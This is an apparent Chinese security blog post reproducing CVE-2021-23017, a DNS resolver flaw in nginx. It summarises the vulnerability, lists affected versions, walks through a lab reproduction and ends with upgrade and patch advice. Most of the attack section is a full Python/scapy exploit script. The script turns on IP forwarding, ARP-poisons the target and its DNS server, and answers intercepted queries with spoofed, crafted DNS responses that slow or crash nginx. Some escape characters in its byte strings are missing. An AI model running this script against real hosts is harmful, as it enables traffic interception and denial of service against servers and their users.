点击上方“蓝字”,关注更多精彩
0x00 漏洞概述
2021年5月26日,Nginx
官方发布安全公告,修复了nginx
解析器中的一个DNS解析程序漏洞(CVE-2021-23017),由于ngx_resolver_copy()
在处理DNS响应时存在错误 ,当nginx配置文件中使用了“ resolver”指令时,未经身份验证的攻击者能够伪造来自DNS服务器的UDP数据包,构造特制的DNS响应导致1字节内存覆盖,从而造成拒绝服务或任意代码执行。请相关用户采取措施进行防护。
0x01 漏洞范围
受影响版本
-
NGINX 0.6.18 - 1.20.0
不受影响版本
-
NGINX Open Source 1.20.1 (stable) -
NGINX Open Source 1.21.0 (mainline) -
NGINX Plus R23 P1 -
NGINX Plus R24 P1
0x02 漏洞环境搭建
安装很简单,成功后不知道为什么我这里显示的居然是apache
的页面,可能是之前的apache没有删除干净。
#ubuntu18-server
apt install nginx
0x03 漏洞复现
https://github.com/M507/CVE-2021-23017-PoC
# Exploit Title: Nginx 1.20.0 - Denial of Service (DOS)
# Date: 2022-6-29
# Exploit Author: Mohammed Alshehri - https://Github.com/M507
# Vendor Homepage: https://nginx.org/
# Software Link: https://github.com/nginx/nginx/releases/tag/release-1.20.0
# Version: 0.6.18 - 1.20.0
# Tested on: Ubuntu 18.04.4 LTS bionic
# CVE: CVE-2021-23017
# The bug was discovered by X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn
# python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1
# The service needs to be configured to use Nginx resolver
from scapy.all import *
from multiprocessing import Process
from binascii import hexlify, unhexlify
import argparse, time, os
def device_setup():
os.system("echo '1' >> /proc/sys/net/ipv4/ip_forward")
os.system("iptables -A FORWARD -p UDP --dport 53 -j DROP")
def ARPP(target, dns_server):
print("[*] Sending poisoned ARP packets")
target_mac = getmacbyip(target)
dns_server_mac = getmacbyip(dns_server)
while True:
time.sleep(2)
send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0)
send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0)
def exploit(target):
print("[*] Listening ")
sniff (filter="udp and port 53 and host " + target, prn = process_received_packet)
"""
RFC schema
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| LENGTH | ID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE | QDCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ANCOUNT | NSCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ARCOUNT | QD |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AN | NS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AR |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Fig. DNS
"""
def process_received_packet(received_packet):
if received_packet[IP].src == target_ip:
if received_packet.haslayer(DNS):
if DNSQR in received_packet:
print("[*] the received packet: " + str(bytes_hex(received_packet)))
print("[*] the received DNS request: " + str(bytes_hex(received_packet[DNS].build())))
try:
# / the received DNS request
dns_request = received_packet[DNS].build()
null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12)
print("[*] debug: dns_request[:null_pointer_index] : "+str(hexlify(dns_request[:null_pointer_index])))
print("[*] debug: dns_request[null_pointer_index:] : "+str(hexlify(dns_request[null_pointer_index:])))
payload = [
dns_request[0:2],
b"x81x80x00x01x00x01x00x00x00x00",
dns_request[12:null_pointer_index+1],
dns_request[null_pointer_index+1:null_pointer_index+3],
dns_request[null_pointer_index+3:null_pointer_index+5],
b"xC0x0Cx00x05x00x01x00x00x0Ex10",
b"x00x0Bx18x41x41x41x41x41x41x41",
b"x41x41x41x41x41x41x41x41x41x41",
b"x41x41x41x41x41x41x41xC0x04"
]
payload = b"".join(payload)
spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/
UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/
payload)
print("[+] dns answer: "+str(hexlify(payload)))
print("[+] full packet: " + str(bytes_hex(spoofed_pkt)))
sendp(spoofed_pkt, count=1)
print("n[+] malicious answer was sent")
print("[+] exploitedn")
except:
print("n[-] ERROR")
def main():
global target_ip
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="IP address of the target")
parser.add_argument("-r", "--dns_server", help="IP address of the DNS server used by the target")
args = parser.parse_args()
target_ip = args.target
dns_server_ip = args.dns_server
device_setup()
processes_list = []
ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip))
exploitProcess = Process(target=exploit,args=(target_ip,))
processes_list.append(ARPPProcess)
processes_list.append(exploitProcess)
for process in processes_list:
process.start()
for process in processes_list:
process.join()
if __name__ == '__main__':
target_ip = ""
main()
先来访问一下这个网站,可能是我这边之前安装过apache
的原因,默认显示就是apache
页面,不过其实本质上是nginx
,忽略这个bug
。
正常访问时可以看到速度非常快,246毫秒。
上述代码复制粘贴到一个python
文件中,然后python3 nginx.py -t http://x.x.x.x
,能看到网页加载速度变得很慢,
时间越长,拒绝时间就越长
同时ubuntu机器如果配置不高的话本身都会变得很卡很卡。
如果使用python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1
类似这样的命令,指定dns服务器,会让目标直接显示502。
0x04 漏洞防护
官方升级
目前官方已在最新版本中修复了该漏洞,请受影响的用户尽快升级版本进行防护,官方下载链接:
http://nginx.org/en/download.html
其他防护措施
若相关用户暂时无法升级nginx至新版本,也可安装补丁进行修复:
http://nginx.org/download/patch.2021.resolver.txt
往期推荐
CVE-2021-4034 Linux Polkit本地提权漏洞
CVE-2021-31760 Webmin CSRF致使RCE
CVE-2022-22965 Spring core RCE漏洞
CVE-2020-1472 ZeroLogon漏洞复现利用(Netlogon域提权)
郑重声明:该公众号大部分文章来自作者日常工作与学习笔记,也有少数文章是经过原作者授权转载而来,未经授权,严禁转载。如需要,请公众号私信联系作者。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与原作者以及本公众号无关。
原文始发于微信公众号(HACK技术沉淀营):CVE-2021-23017 Nginx DNS解析程序漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论